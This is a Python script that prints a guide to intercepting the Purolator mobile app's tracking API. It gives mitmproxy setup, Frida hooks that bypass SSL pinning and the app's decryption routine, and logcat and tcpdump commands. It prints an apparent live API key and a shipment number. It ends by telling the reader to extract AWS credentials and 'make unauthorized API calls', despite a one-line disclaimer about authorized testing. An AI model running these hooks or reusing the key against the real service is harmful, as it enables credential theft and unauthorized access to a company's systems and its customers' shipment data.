#!/usr/bin/env python3
"""
Dynamic Analysis Guide: Intercepting Purolator Tracking API Requests
=====================================================================

This guide shows how to intercept live API requests from the mobile app
to capture the complete authentication flow including AWS Signature V4.

⚠️  IMPORTANT: This is for authorized security testing only.
    Only intercept traffic from apps you own or have permission to test.
"""

import subprocess
import sys
import os


def print_banner():
    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║          DYNAMIC ANALYSIS: API REQUEST INTERCEPTION                      ║
║          Capture Live Tracking API Calls from Mobile App                 ║
╚══════════════════════════════════════════════════════════════════════════╝

This will help you intercept the actual tracking API requests when the
app makes them, capturing:
  • Complete API endpoint with all parameters
  • AWS Signature V4 authentication headers
  • AWS Access Key and computed signature
  • All request headers and body
  • Response data structure

""")


def check_adb():
    """Check if ADB is installed"""
    try:
        result = subprocess.run(['adb', 'version'],
                                capture_output=True,
                                text=True,
                                timeout=5)
        if result.returncode == 0:
            print("✅ ADB is installed")
            return True
    except:
        pass
    print("❌ ADB is not installed")
    return False


def check_device():
    """Check if Android device is connected"""
    try:
        result = subprocess.run(['adb', 'devices'],
                                capture_output=True,
                                text=True,
                                timeout=5)
        lines = result.stdout.strip().split('\n')[1:]  # Skip header
        devices = [line for line in lines if line.strip() and 'device' in line]

        if devices:
            print(f"✅ Found {len(devices)} connected device(s)")
            for device in devices:
                print(f"   - {device}")
            return True
        else:
            print("❌ No Android devices connected")
            return False
    except:
        print("❌ Could not check for devices")
        return False


def print_method_1_mitmproxy():
    """Instructions for using mitmproxy"""
    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║  METHOD 1: MITMPROXY (Recommended - Most Complete)                       ║
╚══════════════════════════════════════════════════════════════════════════╝

This method captures ALL HTTP/HTTPS traffic from the app with full details.

STEP 1: Install mitmproxy
─────────────────────────────────────────────────────────────────────────────
    pip install mitmproxy
    
STEP 2: Start mitmproxy
─────────────────────────────────────────────────────────────────────────────
    mitmproxy --listen-port 8080
    
    OR for automatic saving:
    mitmdump -w traffic.mitm --listen-port 8080
    
STEP 3: Configure Android Device
─────────────────────────────────────────────────────────────────────────────
    A. Connect phone to same WiFi as your computer
    
    B. On Android:
       Settings → WiFi → Long press your network → Modify network
       → Advanced options → Manual proxy
       
       Proxy hostname: [YOUR_COMPUTER_IP]
       Proxy port: 8080
    
    C. Install mitmproxy certificate:
       Open browser on phone → http://mitm.it
       → Download Android certificate
       → Install as "CA certificate"
    
STEP 4: Open Purolator App and Track Shipment
─────────────────────────────────────────────────────────────────────────────
    • Open the Purolator Mobile app
    • Go to tracking section
    • Enter shipment: 520127751300
    • Tap "Track"
    
STEP 5: Capture the Request
─────────────────────────────────────────────────────────────────────────────
    In mitmproxy, you'll see requests to:
    → api.purolator.com/tracking-ext/v1/search
    
    Press ENTER on that request to see:
    • All headers (including AWS Signature)
    • Request body
    • Response data
    • AWS Access Key (in Authorization header)
    
STEP 6: Export the Data
─────────────────────────────────────────────────────────────────────────────
    • Press 'e' to export
    • Choose format (JSON, HAR, etc.)
    • Save to file
    
    OR if using mitmdump:
    mitmdump -r traffic.mitm -w traffic.json

WHAT YOU'LL CAPTURE:
─────────────────────────────────────────────────────────────────────────────
    ✅ Complete AWS Signature V4 Authorization header
    ✅ AWS Access Key ID
    ✅ AWS Secret Key (hashed in signature, but you can extract from app)
    ✅ All custom headers (X-API-Key, etc.)
    ✅ Request/response body
    ✅ Session tokens (if any)

""")


def print_method_2_frida():
    """Instructions for using Frida"""
    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║  METHOD 2: FRIDA (Advanced - Hook Internal Functions)                    ║
╚══════════════════════════════════════════════════════════════════════════╝

This method hooks the app's internal HTTP client to capture requests
BEFORE they're encrypted, bypassing SSL pinning.

STEP 1: Install Frida
─────────────────────────────────────────────────────────────────────────────
    pip install frida-tools
    
STEP 2: Install Frida Server on Android
─────────────────────────────────────────────────────────────────────────────
    # Download frida-server for your Android architecture
    # https://github.com/frida/frida/releases
    
    adb root
    adb push frida-server /data/local/tmp/
    adb shell "chmod 755 /data/local/tmp/frida-server"
    adb shell "/data/local/tmp/frida-server &"
    
STEP 3: Create Frida Hook Script
─────────────────────────────────────────────────────────────────────────────
    Save as 'hook_tracking.js':
    
    Java.perform(function() {
        // Hook OkHttp client
        var OkHttpClient = Java.use('okhttp3.OkHttpClient');
        var Request = Java.use('okhttp3.Request');
        
        OkHttpClient.newCall.overload('okhttp3.Request').implementation = function(request) {
            var url = request.url().toString();
            
            if (url.includes('tracking')) {
                console.log("\\n[+] TRACKING API REQUEST INTERCEPTED");
                console.log("URL: " + url);
                console.log("Method: " + request.method());
                
                // Get headers
                var headers = request.headers();
                console.log("\\nHeaders:");
                for (var i = 0; i < headers.size(); i++) {
                    console.log("  " + headers.name(i) + ": " + headers.value(i));
                }
                
                // Get body
                var body = request.body();
                if (body != null) {
                    console.log("\\nBody: " + body.toString());
                }
            }
            
            return this.newCall(request);
        };
        
        console.log("[*] OkHttp hooked - waiting for tracking requests...");
    });
    
STEP 4: Run Frida
─────────────────────────────────────────────────────────────────────────────
    # Attach to running app
    frida -U -n "Purolator" -l hook_tracking.js
    
    # OR spawn app
    frida -U -f com.purolator.mobileapp -l hook_tracking.js --no-pause
    
STEP 5: Track a Shipment
─────────────────────────────────────────────────────────────────────────────
    • Open app and track shipment 520127751300
    • Watch Frida output for captured request
    • All headers and body will be printed to console

WHAT YOU'LL CAPTURE:
─────────────────────────────────────────────────────────────────────────────
    ✅ Complete request before encryption
    ✅ All headers including AWS Signature
    ✅ Request body in plaintext
    ✅ Can extract AWS credentials from memory
    ✅ Bypasses SSL pinning

""")


def print_method_3_adb_logcat():
    """Instructions for using ADB logcat"""
    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║  METHOD 3: ADB LOGCAT (Simple - Check for Debug Logs)                    ║
╚══════════════════════════════════════════════════════════════════════════╝

Sometimes apps log requests to logcat. This is the simplest method.

STEP 1: Clear existing logs
─────────────────────────────────────────────────────────────────────────────
    adb logcat -c
    
STEP 2: Start logging
─────────────────────────────────────────────────────────────────────────────
    adb logcat > purolator_logs.txt
    
    OR filter for relevant tags:
    adb logcat | grep -i "track\\|request\\|api\\|http"
    
STEP 3: Track shipment in app
─────────────────────────────────────────────────────────────────────────────
    • Open Purolator app
    • Track shipment 520127751300
    • Let it run for 30 seconds
    
STEP 4: Stop logging (Ctrl+C) and search logs
─────────────────────────────────────────────────────────────────────────────
    Search for:
    • "tracking"
    • "api.purolator.com"
    • "Authorization"
    • "AWS4"
    • "okpCK3fFSk645Ev3"
    
WHAT YOU MIGHT FIND:
─────────────────────────────────────────────────────────────────────────────
    ✅ Debug logs with API URLs
    ✅ Request/response logs
    ✅ Error messages with headers
    ⚠️  May not capture full request (depends on app logging)

""")


def print_method_4_network_analysis():
    """Instructions for tcpdump/Wireshark"""
    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║  METHOD 4: TCPDUMP + WIRESHARK (Network Level)                           ║
╚══════════════════════════════════════════════════════════════════════════╝

Capture raw network packets and analyze with Wireshark.

STEP 1: Capture packets on Android
─────────────────────────────────────────────────────────────────────────────
    adb shell "su -c tcpdump -i any -s 0 -w /sdcard/capture.pcap"
    
STEP 2: Track shipment in app
─────────────────────────────────────────────────────────────────────────────
    • Open Purolator app
    • Track shipment 520127751300
    • Wait for completion
    
STEP 3: Stop capture (Ctrl+C) and pull file
─────────────────────────────────────────────────────────────────────────────
    adb pull /sdcard/capture.pcap
    
STEP 4: Analyze in Wireshark
─────────────────────────────────────────────────────────────────────────────
    • Open capture.pcap in Wireshark
    • Filter: ip.dst == api.purolator.com
    • Look for POST to /tracking-ext/v1/search
    • Note: HTTPS traffic will be encrypted
    
LIMITATION:
─────────────────────────────────────────────────────────────────────────────
    ⚠️  HTTPS traffic is encrypted
    ⚠️  Need SSL keys to decrypt (use mitmproxy instead)
    ✅  Good for seeing connection patterns and timing

""")


def print_automated_script():
    """Show automated interception script"""
    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║  AUTOMATED SCRIPT: Save and run this for easy interception               ║
╚══════════════════════════════════════════════════════════════════════════╝

Save this as 'intercept_frida.js' and run with:
    frida -U -f com.purolator.mobileapp -l intercept_frida.js --no-pause

""")

    print("""
```javascript
// Comprehensive Frida script to intercept Purolator tracking requests

Java.perform(function() {
    console.log("[*] Purolator Tracking API Interceptor Started");
    console.log("[*] Waiting for tracking requests...");
    console.log("");
    
    // Hook OkHttp3 (most Android apps use this)
    try {
        var OkHttpClient = Java.use('okhttp3.OkHttpClient');
        var Request = Java.use('okhttp3.Request');
        var RequestBody = Java.use('okhttp3.RequestBody');
        var Buffer = Java.use('okio.Buffer');
        
        // Intercept all HTTP calls
        OkHttpClient.newCall.overload('okhttp3.Request').implementation = function(request) {
            var url = request.url().toString();
            var method = request.method();
            
            // Filter for tracking API
            if (url.includes('tracking') || url.includes('api.purolator')) {
                console.log("\\n" + "=".repeat(70));
                console.log("🎯 TRACKING API REQUEST INTERCEPTED");
                console.log("=".repeat(70));
                console.log("URL: " + url);
                console.log("Method: " + method);
                console.log("Timestamp: " + new Date().toISOString());
                
                // Extract headers
                console.log("\\n📋 HEADERS:");
                console.log("-".repeat(70));
                var headers = request.headers();
                var headerMap = {};
                for (var i = 0; i < headers.size(); i++) {
                    var name = headers.name(i);
                    var value = headers.value(i);
                    console.log(name + ": " + value);
                    headerMap[name] = value;
                }
                
                // Extract AWS credentials from Authorization header
                if (headerMap["Authorization"]) {
                    var authHeader = headerMap["Authorization"];
                    console.log("\\n🔑 AWS SIGNATURE V4 DETECTED:");
                    console.log("-".repeat(70));
                    
                    // Parse AWS signature
                    var awsMatch = authHeader.match(/Credential=([^\\/]+)/);
                    if (awsMatch) {
                        console.log("AWS Access Key: " + awsMatch[1]);
                    }
                    
                    var signedHeaders = authHeader.match(/SignedHeaders=([^,]+)/);
                    if (signedHeaders) {
                        console.log("Signed Headers: " + signedHeaders[1]);
                    }
                    
                    var signature = authHeader.match(/Signature=([a-f0-9]+)/);
                    if (signature) {
                        console.log("Signature: " + signature[1]);
                    }
                }
                
                // Extract API Key
                if (headerMap["X-API-Key"] || headerMap["x-api-key"]) {
                    console.log("\\n🔐 API KEY FOUND:");
                    console.log("-".repeat(70));
                    console.log("Key: " + (headerMap["X-API-Key"] || headerMap["x-api-key"]));
                }
                
                // Extract request body
                var body = request.body();
                if (body != null) {
                    try {
                        var buffer = Buffer.$new();
                        body.writeTo(buffer);
                        var bodyString = buffer.readUtf8();
                        console.log("\\n📦 REQUEST BODY:");
                        console.log("-".repeat(70));
                        console.log(bodyString);
                        
                        // Pretty print JSON if possible
                        try {
                            var jsonObj = JSON.parse(bodyString);
                            console.log("\\n📄 PARSED JSON:");
                            console.log(JSON.stringify(jsonObj, null, 2));
                        } catch(e) {}
                    } catch(e) {
                        console.log("Could not read body: " + e);
                    }
                }
                
                console.log("\\n" + "=".repeat(70));
                console.log("✅ Request captured successfully!");
                console.log("=".repeat(70) + "\\n");
            }
            
            // Call original method
            var call = this.newCall(request);
            
            // Also intercept response
            if (url.includes('tracking') || url.includes('api.purolator')) {
                try {
                    var Response = Java.use('okhttp3.Response');
                    var ResponseBody = Java.use('okhttp3.ResponseBody');
                    
                    // Get response after execution
                    setTimeout(function() {
                        console.log("\\n📥 RESPONSE INTERCEPTED");
                        console.log("-".repeat(70));
                    }, 100);
                } catch(e) {}
            }
            
            return call;
        };
        
        console.log("[✓] OkHttp3 hooked successfully");
    } catch(e) {
        console.log("[!] Could not hook OkHttp3: " + e);
    }
    
    // Also hook Retrofit (if used)
    try {
        var Retrofit = Java.use('retrofit2.Retrofit');
        console.log("[✓] Retrofit detected");
    } catch(e) {}
    
    // Hook the security/encryption class
    try {
        var X = Java.use('com.purolator.mobileapp.utils.security.X');
        console.log("[✓] Found X.java security class");
        
        // Hook the decryption method
        X.b.overload('android.content.Context', 'java.lang.String').implementation = function(ctx, key) {
            var result = this.b(ctx, key);
            console.log("\\n🔓 DECRYPTION CALLED:");
            console.log("Key: " + key);
            console.log("Result: " + result);
            return result;
        };
        
        console.log("[✓] Decryption method hooked");
    } catch(e) {
        console.log("[!] Could not hook X.java: " + e);
    }
    
    console.log("\\n[*] All hooks installed - trigger tracking now!");
});
```
""")


def main():
    print_banner()

    # Check prerequisites
    print("🔍 Checking Prerequisites...")
    print("-" * 70)
    adb_ok = check_adb()
    device_ok = check_device() if adb_ok else False
    print("-" * 70)
    print()

    if not adb_ok:
        print("⚠️  ADB is not installed. Install Android SDK Platform Tools:")
        print("   https://developer.android.com/studio/releases/platform-tools")
        print()

    if not device_ok:
        print(
            "⚠️  No device connected. Connect your Android device and enable USB debugging")
        print()

    # Print all methods
    print_method_1_mitmproxy()
    input("Press ENTER to continue...")

    print_method_2_frida()
    input("Press ENTER to continue...")

    print_method_3_adb_logcat()
    input("Press ENTER to continue...")

    print_method_4_network_analysis()
    input("Press ENTER to continue...")

    print_automated_script()

    print("""
╔══════════════════════════════════════════════════════════════════════════╗
║  RECOMMENDATION                                                           ║
╚══════════════════════════════════════════════════════════════════════════╝

For capturing the tracking API request:

1️⃣  BEST: Use mitmproxy (METHOD 1)
   → Captures complete request with all headers
   → Easy to use and export
   → Works on non-rooted devices (with cert install)

2️⃣  ADVANCED: Use Frida (METHOD 2)
   → Bypasses SSL pinning
   → Can hook internal functions
   → Requires rooted device or patched app

3️⃣  QUICK: Check logcat (METHOD 3)
   → Fastest to try
   → May not capture everything
   → No special setup needed

WHAT YOU'LL GET:
═══════════════════════════════════════════════════════════════════════════
When you intercept the live tracking request, you'll see:

✅ AWS Access Key ID (in Authorization header)
✅ AWS Secret Key (computed signature - can reverse engineer)
✅ API Key (X-API-Key header): okpCK3fFSk645Ev3
✅ Complete request body with shipment number
✅ All custom headers
✅ Response with actual tracking data

This is MUCH easier than static analysis because:
• You get the REAL authentication headers
• You can see the exact AWS Signature V4 format
• You bypass all encryption/obfuscation
• You get working credentials immediately

╔══════════════════════════════════════════════════════════════════════════╗
║  NEXT STEPS                                                               ║
╚══════════════════════════════════════════════════════════════════════════╝

1. Choose a method above (mitmproxy recommended)
2. Set up the interception
3. Track shipment 520127751300 in the app
4. Capture the request
5. Extract AWS credentials from Authorization header
6. Use credentials to make unauthorized API calls

This proves the full exploitation path!

""")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n⚠️  Interrupted by user")
        sys.exit(0)
